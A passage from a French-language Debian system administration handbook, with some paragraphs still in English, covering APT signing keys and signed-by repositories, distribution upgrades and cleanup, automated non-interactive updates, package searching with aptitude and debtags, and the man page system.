Lorsqu'une source de paquets tierce est ajoutée au fichier sources.list, il faut désormais porter à la connaissance de APT la clé de confiance correspondante (sans quoi il se plaindra constamment qu'il ne peut pas vérifier l'authenticité des paquets contenus dans le dépôt concerné). Pour cela, il faut avant tout récupérer la clé publique en question : la plupart du temps, elle sera fournie sous la forme d'un petit fichier texte (qui sera nommé cle.asc dans les exemples ci-dessous).

Pour ajouter la clé au trousseau de confiance d'APT, l'administrateur peut simplement la placer dans un fichier *.gpg dans /etc/apt/trusted.gpg.d/ (les fichiers*.asc sont déconseillés et peuvent causer des problèmes). Cela est géré depuis Debian Stretch. Avec les versions antérieures, la commande apt-key add < key.asc devait être exécutée, ce qui est considéré maintenant comme obsolète.

Bien qu'il s'agisse d'un comportement très courant, cela crée également un problème potentiel. APT ne sait pas quelle clé appartient à quel dépôt. Si l'une des clés du trousseau d'APT correspond à la signature d'une archive, APT considère l'archive comme authentifiée. Une fois qu'une clé a été ajoutée au trousseau de clés de confiance, un attaquant malveillant pourrait en fait fournir sa propre « version » d'un miroir Debian signé par la même clé. Il serait donc préférable de mettre la clé sous forme de fichier *.gpg dans /usr/share/keyrings/ et d'utiliser le champ Signed-By dans sources pour les dépôts tiers, comme le montre l'exemple ci-dessous.

Imaginez que la société Falcot Corp. gère son propre dépôt public et que vous souhaitiez l'utiliser. Elle l'a signé et fournit une clé ou un trousseau publics pouvant être téléchargés. Pour restreindre la clé à celle du dépôt, vous pouvez simplement faire ceci :

$ sudo wget -O falcot-keyring.gpg -P /usr/share/keyrings https://packages.falcot.com/debian/repository.gpg

deb [ signed-by=/usr/share/keyrings/falcot-keyring.gpg ] https://packages.falcot.com/debian bullseye main

Soyez conscient que l'ajout et l'utilisation de dépôts tiers posent toujours un risque de sécurité et de stabilité !

Once the appropriate keys are in the keyring, APT will check the signatures before any risky operation, so that frontends will display a warning if asked to install a package whose authenticity can't be ascertained.

Notez que les paquets binaires ne sont généralement pas signés. L'intégrité d'un paquet ne peut être confirmée qu'en vérifiant ses sommes de hachage par rapport à une source de hachage fiable (et éventuellement signée).

SPECIFIC CASE Unsigned repositories

Bien qu'en général les dépôts non signés ne doivent pas être utilisés, certains utilisateurs peuvent en avoir besoin, par exemple pour fournir des paquets construits localement. APT peut être forcé d'accepter un tel dépôt en faisant précéder l'URL du dépôt par allow-insecure=yes ou trusted=yes. Nous allons le démontrer en utilisant l'exemple de la Section 15.3, « Créer une archive de paquets pour APT » :

deb [ trusted=yes ] http://packages.falcot.com/ updates/

deb [ trusted=yes ] http://packages.falcot.com/ internal/

6.7. Mise à jour d'une distribution à la suivante

Un des éléments les plus marquants de Debian est sa capacité à mettre à jour un système d'une distribution stable vers la suivante (le fameux dist-upgrade, qui a contribué à la réputation du projet). Avec un peu d'attention, on peut ainsi migrer un ordinateur en quelques minutes ou dizaines de minutes, selon la rapidité d'accès aux sources de paquets.

6.7.1. Démarche à suivre

Comme le système Debian a le temps d'évoluer entre deux versions stables, on prendra soin de lire, avant d'entreprendre la mise à jour, les notes de publication.

B.A.-BA Notes de publication

Les notes de publication (release notes) d'un logiciel ou d'un système d'exploitation sont un document, généralement court par rapport à la documentation complète, qui donne une idée du logiciel en question, particulièrement de la version concernée. Ces documents donnent souvent un résumé des nouvelles fonctionnalités offertes par rapport aux versions précédentes, des instructions de mise à jour, des avertissements pour les utilisateurs des anciennes versions et parfois des errata.

Release notes for Debian are available online: the release notes for the current stable release have a dedicated URL, while older release notes can be found with their codenames:

→ https://www.debian.org/releases/stable/releasenotes

→ https://www.debian.org/releases/buster/releasenotes

In this section, we will focus on upgrading a Buster system to Bullseye. This is a major operation on a system; as such, it is never 100% risk-free, and should not be attempted before all important data has been backed up.

Another good habit which makes the upgrade easier (and shorter) is to tidy your installed packages and keep only the ones that are really needed. Helpful tools to do that include aptitude, deborphan, debfoster, and apt-show-versions (see Section 6.2.7, « Suivi des paquets installés automatiquement »). For example, you can use the following command, and then use aptitude's interactive mode to double check and fine-tune the scheduled removals:

# deborphan | xargs aptitude --schedule-only remove

TIP Finding changed files

La commande debsums permet de vérifier si des fichiers du système local, qui font partie d'un paquet installé, ont été modifiés. Elle utilise un algorithme simple de somme de hachage et les informations contenues dans /var/lib/dpkg/info/paquet.md5sums (consulter la Section 5.2.3, « Checksums, List of Configuration Files, et al. »). Pour trouver tous les fichiers de configuration modifiés, utilisez debsums -ec. Pour vérifier l'ensemble du système, utilisez debsums -c.

Now for the upgrading itself. First, you need to change the /etc/apt/sources.list file to tell APT to get its packages from Bullseye instead of Buster. If the file only contains references to Stable rather than explicit codenames, the change isn't even required, since Stable always refers to the latest released version of Debian. In both cases, the database of available packages must be refreshed with the apt update command or the refresh button in synaptic (Section 6.2.1, « Initialisation »).

NOTE Repository information changes

Lorsqu'une nouvelle version stable de Debian est publiée, certains champs des fichiers Release et InRelease d'un dépôt changent, comme le champ Suite. Lorsque cela se produit, le téléchargement des données du dépôt est refusé jusqu'à ce que le changement soit confirmé pour assurer que l'utilisateur y est préparé. Pour confirmer le changement, utilisez les options --allow-releaseinfo-change ou --allow-releaseinfo-change-champ pour apt-get ou l'option de configuration Acquire::AllowReleaseInfoChange.

Une fois que ces nouvelles sources de paquets sont déclarées, la première chose à faire est une mise à niveau minimale avec apt upgrade ou autrec comme décrit dans la Section 6.2.3, « Mise à jour ». En réalisant cette mise à niveau en deux temps, cela facilite la tâche des outils de gestion de paquets et souvent assure que ceux-ci eux-mêmes sont dans leur dernière version et qu'ils disposent donc de correctifs et d'améliorations qui peuvent s'avérer nécessaires lors de la mise à niveau complète de la distribution.

Once this first upgrade is done, it is time to handle the upgrade itself, either with apt full-upgrade, aptitude, or synaptic (Section 6.7, « Mise à jour d'une distribution à la suivante »). You should carefully check the suggested actions before applying them: you might want to add suggested packages or deselect packages which are only recommended and known not to be useful. In any case, the frontend should come up with a scenario ending in a coherent and up-to-date Bullseye system. Then, all you need is to do is wait while the required packages are downloaded, answer the debconf questions and possibly those about locally modified configuration files, and sit back while APT does its magic.

6.7.2. Gérer les problèmes consécutifs à une mise à jour

Malgré tous les efforts des mainteneurs Debian, une mise à jour majeure du système d'exploitation cause parfois quelques soucis. Les nouvelles versions de certains logiciels sont parfois incompatibles avec les précédentes (évolution d'un format de données, comportement par défaut qui diffère, etc.). En outre, certains bogues passent inaperçus malgré la période de test précédant la publication d'une nouvelle version.

Pour anticiper les problèmes liés aux évolutions des logiciels mis à jour, il est utile d'installer le paquet apt-listchanges. Il affichera, au début d'une mise à jour de paquet, des informations relatives aux embarras possibles. Ces informations sont rédigées par les mainteneurs de paquets à l'intention des utilisateurs et placées dans des fichiers /usr/share/doc/paquet/NEWS.Debian et en tenir compte évitera toute mauvaise surprise.

You might sometimes find that the new version of a software doesn't work at all. This generally happens if the application isn't particularly popular and hasn't been tested enough; a last-minute update can also introduce regressions which are only found after the stable release. In both cases, the first thing to do is to have a look at the bug tracking system at https://bugs.debian.org/package, and check whether the problem has already been reported. If this is case, it will be also listed before the upgrade begins if you have apt-listbugs installed. If it hasn't, you should report it yourself with reportbug. If it is already known, the bug report and the associated messages are usually an excellent source of information related to the bug:

- On peut y découvrir l'existence d'un correctif, disponible dans le rapport de bogue, qui permet alors de recompiler localement une version corrigée du paquet Debian (voir la Section 15.1, « Recompiler un paquet depuis ses sources ») ;

- Parfois, d'autres utilisateurs ont trouvé un moyen de contourner le problème et partagent leur expérience dans l'historique du bogue ;

- Enfin un paquet corrigé peut avoir été préparé par le mainteneur et être disponible en téléchargement.

Depending on the severity of the bug, a new version of the package may be prepared specifically for a new revision of the stable release. When this happens, the fixed package is made available in the proposed-updates section of the Debian mirrors (see Section 6.1.2.3, « Mises à jour proposées »). The corresponding entry can then be temporarily added to the sources.list file, and updated packages can be installed with apt or aptitude.

Sometimes the fixed package isn't available in this section yet because it is pending a validation by the Stable Release Managers. You can verify if that is the case on their web page. Packages listed there aren't available yet, but at least you know that the publication process is ongoing.

→ https://release.debian.org/proposed-updates/stable.html

6.7.3. Cleaning Up after an Upgrade

APT garantit généralement une mise à niveau propre, en intégrant les dépendances nouvelles et mises à jour ou en supprimant les paquets conflictuels. Cependant, même s'il s'agit d'un outil formidable, il ne peut pas couvrir toutes les tâches auxquelles les utilisateurs et les administrateurs sont confrontées après une mise à niveau car elles requièrent une décision humaine.

6.7.3.1. Paquets retirés de l'archive Debian

Parfois, les administrateurs ftp de Debian retirent des paquets de l'archive Debian parce qu'ils contiennent des bogues critiques pour la publication, qu'ils ont été abandonnés par leur auteur en amont ou par le responsable du paquet ou qu'ils sont simplement arrivés en fin de vie. Dans ce cas, une nouvelle publication de Debian ne fournit plus le paquet. Pour trouver tous les paquets qui n'ont pas de source, utilisez la commande apt-show-versions :

$ apt-show-versions | grep "No available version"

Un résultat similaire peut être obtenu avec aptitude search ~o. Si les paquets trouvés ne sont plus nécessaires, ils doivent être supprimés du système, car ils ne feront plus l'objet de mises à jour pour les bogues critiques ou liés à la sécurité.

6.7.3.2. Paquets factices et de transition

Parfois, il peut être nécessaire de donner un nouveau nom à un paquet. Dans ce cas, l'ancien paquet est souvent conservé comme un paquet (presque) vide, dépendant du nouveau et n'installant que les fichiers obligatoires dans /usr/share/doc/paquet/. Ces paquets sont appelés paquets « factices » ou « transitoires ». Si le responsable du paquet a également modifié la section de ce paquet en oldlibs, des outils comme aptitude, deborphan, ou debfoster (voir l'encadré ALTERNATIVE deborphan et debfoster) peuvent repérer ces paquets pour suggérer leur suppression.

Malheureusement, il n’existe actuellement aucun moyen infaillible de s’assurer que ces paquets soient automatiquement supprimés ou choisis par les outils mentionnés ci-dessus. Une façon de vérifier si le système a encore certains de ces paquets installés est de rechercher dans les descriptions de paquet des paquets installés, puis de vérifier les résultats. Veillez à ne pas programmer les résultats pour une suppression automatique, car cette méthode peut entraîner des faux positifs :

$ dpkg -l | grep ^ii | grep -i -E "(transition|dummy)"

Comme le nouveau paquet est intégré en tant que dépendance du paquet de transition, il est généralement marqué comme étant installé automatiquement et peut être programmé pour être supprimé si vous essayez de retirer le paquet de transition de votre système. Dans ce cas, vous pouvez utiliser l'une des approches décrites dans les encadrés ASTUCE Supprimer et installer en même temps et Section 6.2.7, « Suivi des paquets installés automatiquement » pour supprimer sélectivement le paquet de transition.

6.7.3.3. Fichiers de configuration anciens ou inutilisés

Si la mise à jour s'est déroulée correctement, il se peut qu'il y ait des fichiers de configuration inutiles, provenant soit de dpkg (voir la Section 5.2.3, « Checksums, List of Configuration Files, et al. »), soit de ucf, soit de paquets supprimés. Ces derniers peuvent être purgés en utilisant apt autoremove --purge. Les fichiers de configuration qui ont été traités par dpkg ou ucf au cours du processus de mise à niveau ont laissé des contreparties avec un suffixe dédié, par exemple .dpkg-dist, .dpkg-old, .ucf-old. L'utilisation de la commande find ou locate peut aider à les retrouver. S'ils ne sont plus utiles, ils peuvent être supprimés.

6.7.3.4. Fichiers n'appartenant à aucun paquet

La charte Debian impose que les paquets ne laissent pas de fichiers derrière eux lorsqu'ils sont purgés. Violer ce principe est un bogue sérieux et vous le rencontrerez rarement. Si c'est le cas, signalez-le. Si vous êtes curieux, vous pouvez utiliser le paquet cruft ou cruft-ng pour vérifier que votre système ne contient pas de fichiers n’appartenant à aucun paquet.

6.8. Maintenir un système à jour

The Debian distribution is dynamic and changes continually. Most of the changes are in the Testing and Unstable versions, but even Stable is updated from time to time, mostly for security-related fixes. Whatever version of Debian a system runs, it is generally a good idea to keep it up to date, so that you can get the benefit of recent evolution and bug fixes.

Bien sûr, il est possible de lancer régulièrement un outil vérifiant l'existence de paquets mis à jour, puis de déclencher l'opération. Cependant, c'est une tâche fastidieuse et répétitive, surtout si l'on a plusieurs machines à administrer. Il existe heureusement des outils permettant d'automatiser une partie des opérations.

Citons tout d'abord apticron, dans le paquet du même nom. Il s'agit simplement d'un script, appelé quotidiennement par cron, qui met à jour la liste des paquets disponibles et envoie un courrier électronique à une adresse donnée pour lister les paquets qui ne sont pas installés dans leur dernière version, ainsi qu'une description des changements qui ont eu lieu. Ce script vise principalement les utilisateurs de Debian Stable, on s'en doute : ces e-mails seraient quotidiens et vraisemblablement très longs sur les versions plus mobiles de Debian. Lorsque des mises à jour sont disponibles, apticron les télécharge, mais ne les installe pas. L'administrateur peut ainsi exécuter la mise à jour plus rapidement, puisque les paquets sont déjà dans le cache d'APT, il ne sera plus nécessaire d'attendre qu'ils transitent depuis la source de paquets.

Administrators in charge of several computers will no doubt appreciate being informed of pending upgrades, but the upgrades themselves are still as tedious as they used to be. Periodic upgrades can be enabled: it uses a systemd timer unit or cron. If systemd is not installed, the /etc/cron.daily/apt-compat script (in the apt package) comes in handy. This script is run daily (and non-interactively) by cron. To control the behavior, use APT configuration variables (which are therefore stored in a file /etc/apt/apt.conf.d/10periodic). The main variables are:

APT::Periodic::Update-Package-Lists

Cette option permet de spécifier une fréquence (en jours) de mise à jour des listes de paquets. Si l'on utilise apticron, on pourra s'en passer, puisque cela ferait double emploi.

APT::Periodic::Download-Upgradeable-Packages

Cette option spécifie également une fréquence en jours, qui porte sur le téléchargement des paquets mis à jour. Là encore, les utilisateurs d'apticron pourront s'en passer.

APT::Periodic::AutocleanInterval

Cette option couvre une fonction que n'a pas apticron : elle spécifie la fréquence à laquelle le cache d'APT pourra être automatiquement épuré des paquets obsolètes (ceux qui ne sont plus disponibles sur les miroirs ni référencés par aucune distribution). Elle permet de ne pas avoir à se soucier de la taille du cache d'APT, qui sera ainsi régulée automatiquement.

APT::Periodic::Unattended-Upgrade

Lorsque cette option est activée, le script quotidien exécutera unattended-upgrade (du paquet unattended-upgrades) qui, comme son nom l'indique, automatise le processus de mise à niveau pour certains paquets ; par défaut, il ne s'occupe que des mises à jour de sécurité, mais cela est configurable dans le fichier /etc/apt/apt.conf.d/50unattended-upgrades). Notons que cette option peut être activée avec debconf, à l'aide de la commande dpkg-reconfigure -plow unattended-upgrades. Si apt-listbugs est installé, il empêchera une mise à niveau automatique des paquets qui sont affectés par un bogue grave ou sérieux déjà signalé.

Other options can allow you to control the cache cleaning behavior with more precision. They are not listed here, but they are described in the /usr/lib/apt/apt.systemd.daily script.

These tools work very well for servers, but desktop users generally prefer a more interactive system. The package gnome-software provides an icon in the notification area of desktop environments when updates are available; clicking on this icon then runs an interface to perform updates. You can browse through available updates, read the short description of the relevant packages and the corresponding changelog entries, and select whether to apply the update or not on a case-by-case basis.

Figure 6.3. Mise à jour avec gpk-update-viewer

Cet outil n'est plus installé dans le bureau par défaut de GNOME. La nouvelle philosophie est que les mises à jour de sécurité doivent être installées automatiquement, soit en arrière-plan, soit, de préférence, lorsque vous éteignez votre ordinateur afin de ne pas perturber les applications en cours d'exécution.

6.9. Mise à jour automatique

Dans le contexte de Falcot SA, qui inclut de nombreuses machines et des ressources humaines limitées, les administrateurs souhaitent automatiser au maximum les mises à jour. Les programmes chargés de ces opérations doivent donc fonctionner sans intervention humaine.

6.9.1. Configuration de dpkg

As we have already mentioned (see sidebar POUR ALLER PLUS LOIN Éviter les questions sur les fichiers de configuration), dpkg can be instructed not to ask for confirmation when replacing a configuration file (with the --force-confdef --force-confold options). Interactions can, however, have three other sources: some come from APT itself, some are handled by debconf, and some happen on the command line due to package configuration scripts (sometimes handled by ucf).

6.9.2. Configuration d'APT

En ce qui concerne APT, la réponse est simple. Il suffit de lui préciser l'option -y ou --assume-yes, qui répondra « oui » automatiquement à toutes les questions qu'il aurait pu poser.

6.9.3. Configuration de debconf

Pour debconf, la réponse mérite un plus long développement. Dès sa naissance, ce programme fut prévu pour permettre de vérifier la pertinence et le volume des questions posées à l'utilisateur, ainsi que la manière dont elles le seront. C'est pourquoi sa configuration demande la priorité minimale à partir de laquelle debconf posera une question. Quand il s'interdit d'interroger l'humain, ce programme utilise automatiquement la valeur par défaut définie par le mainteneur du paquet. Il faut encore choisir une interface pour l'affichage des questions (frontal, ou front-end en anglais).

The other relevant configuration element is the interface used by the frontend. If you choose noninteractive out of the choices, all user interaction is disabled. If a package tries to display an informative note, it will be sent to the administrator by email.

Pour reconfigurer debconf, on utilise l'outil dpkg-reconfigure inclus dans le paquet debconf ; la commande est dpkg-reconfigure debconf. Il est aussi possible de changer temporairement les choix de configuration effectués à l'aide de variables d'environnement (DEBIAN_FRONTEND permet ainsi de changer d'interface, comme expliqué dans la page de manuel debconf(7)).

6.9.4. Gestion des interactions en ligne de commande

Finalement, les interactions en ligne de commande des scripts de configuration exécutés par dpkg sont les plus difficiles à éliminer. Il n'existe en effet aucune solution standard et aucune réponse n'est meilleure qu'une autre.

La solution généralement employée est de supprimer l'entrée standard (en y redirigeant le contenu de /dev/null, par exemple avec la syntaxe commande </dev/null), ou d'y brancher un flux continu de retours à la ligne. Aucune de ces méthodes n'est fiable à 100 % mais elles permettent en général d'accepter les choix par défaut, puisque la plupart des scripts interprètent l'absence de réponse explicite comme une validation de la valeur proposée par défaut.

6.9.5. La combinaison miracle

Si l'on met bout à bout les éléments de configuration exposés dans les sections précédentes, il est possible de rédiger un petit script capable d'effectuer une mise à jour automatique assez fiable.

Exemple 6.5. Script pour mise à jour non interactive

export DEBIAN_FRONTEND=noninteractive

yes '' | apt-get -y -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold" dist-upgrade

EN PRATIQUE Le cas de Falcot SA

Les administrateurs de Falcot doivent s'adapter à un système informatique hétérogène, dont les machines servent des buts différents. Ils choisiront donc pour chaque machine la solution la plus adaptée.

In practice, the servers running Bullseye are configured with the “miracle combination” above, and are kept up to date automatically. Only the most critical servers (the firewalls, for instances) are set up with apticron, so that upgrades always happen under the supervision of an administrator.

The office workstations in the administrative services also run Bullseye, but they are equipped with gnome-packagekit, so that users trigger the upgrades themselves. The rationale for this decision is that if upgrades happen without an explicit action, the behavior of the computer might change unexpectedly, which could cause confusion for the main users.

Enfin, pour les quelques ordinateurs du laboratoire qui utilisent Testing pour bénéficier des dernières versions des logiciels, les administrateurs de Falcot décident simplement de configurer APT pour qu'il prépare périodiquement les mises à jour, sans les effectuer. De cette manière, lorsqu'ils voudront mettre à niveau (manuellement) ces machines expérimentales, ils pourront se concentrer sur les actions réellement utiles, les phases fastidieuses de téléchargement ayant déjà été effectuées automatiquement.

6.10. Recherche de paquets

With the large and ever-growing amount of software in Debian, there emerges a paradox: Debian usually has a tool for most tasks, but that tool can be very difficult to find among the myriad other packages. The lack of appropriate ways to search for (and to find) the right tool has long been a problem. Fortunately, this problem has almost entirely been solved.

La recherche la plus triviale correspond à une recherche sur le nom exact d'un paquet. Si apt show paquet renvoie un résultat, c'est que le paquet existe. Malheureusement, il n'est pas toujours facile de deviner le nom du paquet.

ASTUCE Conventions de nommage de certains paquets

Certaines catégories de paquets suivent une nomenclature conventionnelle qui peut permettre de deviner le nom du paquet Debian. Par exemple, pour les modules Perl, la convention dicte qu'un module publié en amont sous le nom XML::Handler::Composer sera empaqueté en tant que libxml-handler-composer-perl. La bibliothèque permettant d'utiliser le système gconf en Python est empaquetée sous le nom python-gconf. Il n'est hélas pas possible d'établir une convention de nommage pour tous les paquets, même si le responsable essaie généralement de rester au plus près du nom choisi par le développeur amont.

Un modèle de recherche un peu plus performant est la recherche en texte brut dans les noms de paquet, mais il reste très limité. Vous pouvez généralement trouver des résultats en cherchant dans les descriptions des paquets : comme chaque paquet possède une description plus ou moins détaillée en plus de son nom, une recherche par mot-clé dans ces descriptions sera souvent utile. apt-cache et axi-cache sont les outils de choix pour ce type de recherche (consulter ALTERNATIVE axi-cache. Par exemple, apt-cache search video renverra une liste de tous les paquets dont le nom ou la description contient le mot-clé « video ».

Si l'on souhaite effectuer des recherches plus complexes, on pourra utiliser aptitude, qui permet de spécifier une expression logique portant sur différents champs des paquets. Par exemple, on pourra obtenir la liste des paquets dont le nom contient kino, la description video et le nom du responsable paul :

$ aptitude search kino~dvideo~mpaul

p   kino  - Non-linear editor for Digital Video data

$ aptitude show kino

Package: kino

Version: 1.3.4+dfsg0-1.1

État : non installé

Priorité : optionnel

Section : vidéo

Responsable : Paul Brossier <piem@debian.org>

Architecture : amd64

Taille décompressée : 8,316 k

Dépend : libasound2 (>= 1.0.16), libavc1394-0 (>= 0.5.3), libavcodec58 (>= 7:4.2),

libavformat58 (>= 7:4.2), libavutil56 (>= 7:4.0), libc6 (>= 2.29), libdv4

(>= 1.0.0), libgcc-s1 (>= 3.0), libgdk-pixbuf-2.0-0 (>= 2.22.0),

libglade2-0 (>= 1:2.6.4-2~), libglib2.0-0 (>= 2.12.0), libgtk2.0-0 (>=

2.24.0), libiec61883-0 (>= 1.2.0), libpango-1.0-0 (>= 1.14.0),

libpangoft2-1.0-0 (>= 1.14.0), libquicktime2 (>= 2:1.2.2), libraw1394-11

(>= 2.1.2), libsamplerate0 (>= 0.1.7), libstdc++6 (>= 9), libswscale5 (>=

7:4.0), libx11-6, libxext6, libxml2 (>= 2.7.4), libxv1

Recommande : ffmpeg, curl

Suggère : udev | hotplug, vorbis-tools, sox, mjpegtools, lame, ffmpeg2theora

Conflits : kino-dvtitler, kino-timfx, kinoplus, kino-dvtitler:i386,

kino-timfx:i386, kinoplus:i386, kino:i386

Remplace : kino-dvtitler, kino-timfx, kinoplus, kino-dvtitler:i386,

kino-timfx:i386, kinoplus:i386

Fournit : kino-dvtitler, kino-timfx, kinoplus

Description: Non-linear editor for Digital Video data

Kino allows you to record, create, edit, and play movies recorded with DV

camcorders. This program uses many keyboard commands for fast navigating and

editing inside the movie.

The kino-timfx, kino-dvtitler and kinoplus sets of plugins, formerly distributed

as separate packages, are now provided with Kino.

Site : http://www.kinodv.org/

Étiquettes : field::arts, hardware::camera, implemented-in::c, implemented-in::c++,

interface::graphical, interface::x11, role::program, scope::application,

suite::gnome, uitoolkit::gtk, use::editing, use::learning,

works-with::video, x11::application

Le résultat ne contient ici qu'un paquet, kino, qui satisfait bien les trois conditions requises.

Even these multi-criteria searches are rather unwieldy, which explains why they are not used as much as they could. A new tagging system has therefore been developed, and it provides a new approach to searching. Packages are given tags that provide a thematic classification along several strands, known as a “facet-based classification”. In the case of kino above, the package's tags indicate that Kino is a Gnome-based software that works on video data and whose main purpose is editing.

Naviguer dans cette classification peut vous aider à rechercher un paquet qui correspond à des besoins connus. Même si un nombre (modéré) de résultats est renvoyé, la suite de la recherche peut être effectuée manuellement. Pour ce faire, vous pouvez utiliser le motif de recherche ~G dans aptitude, mais il est probablement plus facile de simplement naviguer dans le site où les balises sont gérées ou d’utiliser la commande debtags :

→ https://debtags.debian.org/

$ debtags search "works-with::video && use::editing"

Si l'on sélectionne les étiquettes works-with::video et use::editing, on obtient une poignée de paquets, notamment les logiciels de montage vidéo kino et pitivi. Ce système de classification a vocation à être de plus en plus utilisé au fil du temps, à mesure que les outils de gestion de paquets fourniront des interfaces de recherche efficaces qui en tirent parti.

En résumé, selon la complexité des recherches que l'on souhaite mener, on utilisera un programme adapté :

- apt-cache ne permet que les recherches textuelles dans le nom et la description des paquets, il est très pratique pour retrouver rapidement le nom précis d'un paquet qu'on peut facilement décrire avec quelques mots-clés bien ciblés ;

- pour des recherches portant également sur les relations entre paquets et d’autres métadonnées telles que le nom du responsable, synaptic sera plus utile ;

- si l'on souhaite ajouter une recherche par étiquettes, on se dirigera vers packagesearch, une interface graphique dont le seul but est de mener des recherches dans la liste des paquets disponibles, selon plusieurs critères ; on peut même chercher des paquets d'après le nom des fichiers qu'ils contiennent. Pour un usage en ligne de commande, on se tournera vers axi-cache ;

- Enfin, si l'on a besoin de construire des requêtes complexes avec des opérateurs logiques, on utilisera la très puissante (mais relativement obscure) syntaxe des motifs de recherche d'aptitude, aussi bien en ligne de commande qu'en mode interactif.

Chapitre 7. Résolution de problèmes et sources d'informations

Pour un administrateur, le plus important est d'être capable de faire face à toute situation, connue ou inconnue. Nous proposons dans ce chapitre un ensemble de méthodes qui vous permettront — nous l'espérons — d'isoler la cause des problèmes que vous ne manquerez pas de rencontrer, pour mieux les résoudre ensuite.

7.1. Les sources de documentation

Avant de pouvoir comprendre ce qui se passe réellement en cas de problème, il faut connaître le rôle théorique de chaque programme impliqué. Pour cela, rien de tel que de consulter leurs documentations ; mais celles-ci étant multiples et dispersées, il convient de les connaître toutes.

7.1.1. Les pages de manuel

CULTURE RTFM

Ce sigle est l'abréviation de Read The F...ing Manual (« Lis le f**tu manuel »), mais on rencontre parfois une variante moins grossière avec Read The Fine Manual (« Lis le fameux manuel »). Des traductions alternatives comme « Relis Trois Fois le Manuel » existent aussi. Cette interjection sert parfois de réponse (laconique) à des questions en provenance de débutants ; elle est assez abrupte et laisse transparaître une certaine irritation par rapport à une question posée par quelqu'un qui n'a pas pris la peine de lire la documentation. D'autres personnes affirment que cette réponse classique vaut mieux qu'aucune réponse (puisqu'elle indique que la documentation contient l'information recherchée), voire qu'une réponse courroucée plus développée.

Dans tous les cas, lorsqu'on se voit répondre « RTFM », il est souvent judicieux de ne pas s'offusquer. Et cette réponse pouvant être perçue comme vexante, on s'efforcera de ne pas la susciter. Si l'information requise n'est pas dans le manuel, ce qui peut arriver, il conviendra au contraire de le préciser (de préférence dans la question initiale) ; on décrira également le cheminement suivi lors de la recherche d'informations effectuée personnellement avant de poser la question sur un forum. On pourra pour cela suivre quelques recommandations de bon sens, formalisées par Eric Raymond.

→ http://www.gnurou.org/writing/smartquestionsfr

Les pages de manuel, relativement austères de prime abord, regroupent pourtant une foule d'informations indispensables. Présentons rapidement la commande, fournie par le paquet man-db, qui permet de les consulter. Il s'agit de man page-manuel où le nom de la page de manuel est le plus souvent celui de la commande à découvrir. Pour se renseigner sur les options possibles de la commande cp, on tapera donc la commande man cp à l'invite de l'interpréteur de commandes (voir encadré B.A.-BA Interpréteur de commandes).

B.A.-BA Interpréteur de commandes

Un interpréteur de commandes — souvent désigné par shell en anglais — est un programme qui exécute les commandes saisies par l'utilisateur ou stockées dans un script. En mode interactif, il affiche une invite (finissant généralement par $ pour un utilisateur normal, ou par # pour l'administrateur) indiquant qu'il est prêt à lire une nouvelle commande. L'Annexe B, Petit cours de rattrapage décrit les bases de l'utilisation de l'interpréteur de commandes.

L'interpréteur de commandes le plus usité est probablement bash (Bourne Again SHell) mais d'autres existent : dash, csh, tcsh, zsh, etc.

La plupart des shells offrent en outre des fonctionnalités d'assistance à la saisie, comme la complétion des noms de commandes ou de fichiers (qu'on active généralement par des tabulations successives), ou encore la gestion d'un historique des commandes déjà exécutées.

Les pages de manuel ne documentent pas uniquement les commandes et programmes accessibles en ligne de commande, mais aussi les fichiers de configuration, les appels système, les fonctions de bibliothèque, etc. Des collisions de noms surviennent donc. Ainsi, la commande read de l'interpréteur de commandes s'appelle comme l'appel système read. C'est pourquoi les pages de manuel sont classées dans des sections numérotées :

1

commandes exécutables depuis l'interpréteur ;

2

appels système (fonctions fournies par le noyau) ;

3

fonctions de bibliothèques (fournies par les bibliothèques système) ;

4

périphériques (sous les systèmes dérivés d'Unix, ce sont des fichiers spéciaux, habituellement placés sous /dev/) ;

5

fichiers de configuration (formats et conventions) ;

6

jeux ;

7

ensemble de macros et de standards ;

8

commandes d'administration système ;

9

routines du noyau.

Il est possible de préciser la section de la page de manuel recherchée : pour consulter la documentation de l'appel système read, on tapera donc man 2 read. En l'absence d'une section explicite, c'est la première section abritant une page du nom demandé qui sera utilisée. Ainsi, man shadow renvoie shadow(5) parce qu'il n'y a pas de pages de manuel shadow dans les sections 1 à 4.

ASTUCE whatis

Si vous ne voulez pas consulter la page de manuel complète mais obtenir uniquement une description courte de la commande pour confirmer qu'il s'agit bien de celle que vous cherchez, tapez simplement whatis commande.

$ whatis scp

scp (1)              - OpenSSH secure file copy

Cette description courte — présente dans toutes les pages de manuel — se retrouve dans la section NAME (ou NOM) qui les débute toutes.

Évidemment, si vous ne connaissez pas les noms des commandes, le manuel ne vous sera pas d'un grand secours. C'est l'objet de la commande apropos, qui permet de mener une recherche dans les pages de manuel, ou plus précisément dans leurs descriptions courtes : chaque page de manuel commence en effet par un résumé en une ligne des fonctions documentées plus en détail par la suite. apropos renvoie donc une liste des pages de manuel dont la description mentionne le ou les mots-clés demandés. En choisissant bien ceux-ci, on trouvera le nom de la commande recherchée.

Exemple 7.1. Retrouver cp avec apropos

$ apropos "copy file"

cp (1)               - copy files and directories

cp (1posix)          - copy files

cpio (1)             - copy files to and from archives

exec (1posix)        - execute commands and open, close, or copy file descriptors

install (1)          - copy files and set attributes

ntfscp (8)           - copy file to an NTFS volume.

ASTUCE Naviguer de proche en proche

Beaucoup de pages de manuel disposent d'un paragraphe SEE ALSO ou VOIR AUSSI, généralement à la fin. Il renvoie vers d'autres pages de manuel portant sur des notions ou commandes proches de celle en cours d'examen, ou vers des documentations externes. Il est ainsi possible de retrouver la documentation pertinente même quand le premier choix n'est pas optimal.

The man command is not the only means of consulting the manual pages, since khelpcenter and konqueror (by KDE) and yelp (under GNOME) programs also offer this possibility. There is also a web interface, provided by the man2html package, which allows you to view manual pages in a web browser. On a computer where this package is installed, use this URL after following the instructions in /usr/share/doc/man2html/README.Debian:

→ http://localhost/cgi-bin/man/man2html

Cet utilitaire a donc besoin d'un serveur web. C'est pourquoi vous choisirez d'installer ce paquet sur l'un de vos serveurs : tous les utilisateurs du réseau local bénéficieront du service (y compris les postes non Linux) et vous éviterez de devoir mettre en place un serveur HTTP sur chaque poste. Par ailleurs, si votre serveur est accessible depuis l'extérieur, il peut être souhaitable de restreindre l'accès à ce service aux seuls utilisateurs du réseau local.

Last but not least, you can view all manual pages available in Debian (even those that are not installed on your machine) on the manpages.debian.org service. It offers each manual page in multiple versions, one for each Debian release.

→ https://manpages.debian.org

CHARTE DEBIAN Pages de manuel obligatoires

